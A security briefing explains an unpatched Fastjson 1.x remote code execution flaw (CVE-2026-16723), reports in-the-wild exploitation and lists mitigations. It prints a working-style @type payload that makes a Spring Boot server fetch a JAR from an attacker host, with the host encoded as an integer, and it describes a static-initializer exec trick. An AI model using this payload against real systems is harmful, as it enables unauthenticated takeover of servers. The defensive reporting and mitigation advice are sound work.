Fastjson CVE-2026-16723: A 9.0 With No Patch, and Why Disabling AutoType Won’t Save You
Critical, Exploited, and Unpatched
On July 21, 2026, Alibaba published an advisory for CVE-2026-16723, a remote code execution flaw in Fastjson, the JSON library sitting inside a large share of the world’s Java backends. Alibaba rated it 9.0. Kirill Firsov of FearsOff Cybersecurity found and responsibly disclosed it. Within roughly a day, ThreatBook reported catching it exploited in the wild.
Here is the detail that should reorder your evening: there is no patched version of Fastjson 1.x. Versions 1.2.68 through 1.2.83 are affected, 1.2.83 is the newest 1.x release there is, and the 1.x line is no longer actively maintained. Upgrading within your current branch does not fix this. You mitigate, you swap the artifact, or you migrate.
Two Fetches Before the Guard Runs
Fastjson’s security history is largely a history of AutoType bypasses, so the reflex among Java teams is to check whether AutoType is enabled and relax if it isn’t. That reflex fails here. This flaw does not bypass AutoType. It fires before AutoType is consulted at all.
When Fastjson resolves a type name supplied in a @type field, it first checks whether the target class carries a @JSONType annotation. To do that, it calls defaultClassLoader.getResourceAsStream() on the attacker-supplied string, having first replaced every dot with a slash. On Spring Boot, that default loader is LaunchedURLClassLoader, which extends URLClassLoader — and URLClassLoader honors the jar:http:// protocol. The annotation lookup quietly becomes an outbound HTTP request that pulls a JAR from a server the attacker owns.
If the bytes that come back contain a @JSONType annotation, Fastjson continues into TypeUtils.loadClass(), which reaches the JVM’s real class-loading path, calls defineClass(), and — by specification — runs the class’s static initializer the instant preparation finishes.
That is why no gadget chain is needed. The attacker’s class carries a static block containing Runtime.getRuntime().exec(…). Nothing needs to instantiate it, no method needs to be invoked on it, and no vulnerable third-party library needs to exist anywhere on your classpath. The JVM runs the block itself, on schedule, as soon as the class is defined.
The payload carries one neat wrinkle. Because Fastjson rewrites every dot as a slash before the lookup, an ordinary dotted IP address would be mangled beyond use. So the host gets encoded as a 32-bit integer instead — 3232235876 rather than 192.168.1.100 — which contains no dots and passes through untouched. A doubled dot reconstructs the scheme separator. A @type value of jar:http:..3232235876:8080.evil!.Evil emerges on the other side as jar:http://3232235876:8080/evil!/Evil.class.
Why “We Turned AutoType Off” Is Not a Defense
The @JSONType annotation branch predates Fastjson’s AutoType hardening and runs independently of it. Disabling AutoType leaves that branch fully reachable on Spring Boot deployments. The maintainers’ own characterization is that exploitation requires no AutoType enablement and no classpath gadget.
The trigger is unremarkable application code: any endpoint that hands user-controlled JSON to JSON.parse, JSON.parseObject(String), or JSON.parseObject(String, Class). No credentials, no user interaction, no elevated privileges. It has been confirmed against Spring Boot applications packaged as executable fat JARs, spanning Spring Boot 2.x, 3.x and 4.x, on JDK 8, 11, 17 and 21.
Who Is Actually Getting Hit
ThreatBook added detection and saw exploitation within two days of the advisory. Imperva subsequently reported activity concentrated on organizations in the United States, with smaller volumes in Singapore and Canada, across financial services, healthcare, retail, computing and business services. Most requests came from clients impersonating browsers.
That last detail is the useful one for triage. Browser-impersonating traffic at volume reads as broad opportunistic scanning, not targeted operations. Against a pre-authentication RCE with a public technical writeup, your exposure is a function of whether you are reachable — not whether anyone has a reason to care about you specifically.
What To Do Tonight
Roughly in order of how fast you can do it:
- Enable SafeMode. Start the JVM with -Dfastjson.parser.safeMode=true, or call ParserConfig.getGlobalInstance().setSafeMode(true) during startup. SafeMode makes the type check throw unconditionally at entry, which disables @type processing altogether. The property name is case-sensitive and lowercase; a capitalized variant silently does nothing.
- Block outbound HTTP from application JVMs. Stage one is an outbound fetch. Egress filtering breaks the chain even on hosts you have not finished inventorying.
- Swap the artifact. com.alibaba:fastjson:1.2.83_noneautotype ships with AutoType stripped at compile time.
- Migrate to Fastjson2. It is not affected: it does not probe resources on attacker-controlled type names, and it validates polymorphic deserialization against an allowlist first.
One caveat worth respecting: SafeMode will break any application that genuinely relies on polymorphic deserialization, so test it rather than pushing it straight to production on a Friday.
The wider point is about where this library lives. Fastjson is popular enough that most Java shops are carrying it somewhere nobody chose to put it — pulled in transitively, bundled inside a fat JAR, three levels down a dependency tree that nobody has read. With a 9.0, no patch, and automated scanning already running, the sensible default has inverted: assume it is in your build output until the build output tells you otherwise.
Get the weekly briefing
One email a week on AI, infrastructure, policy and the supply chains underneath them. Free, and you can unsubscribe any time.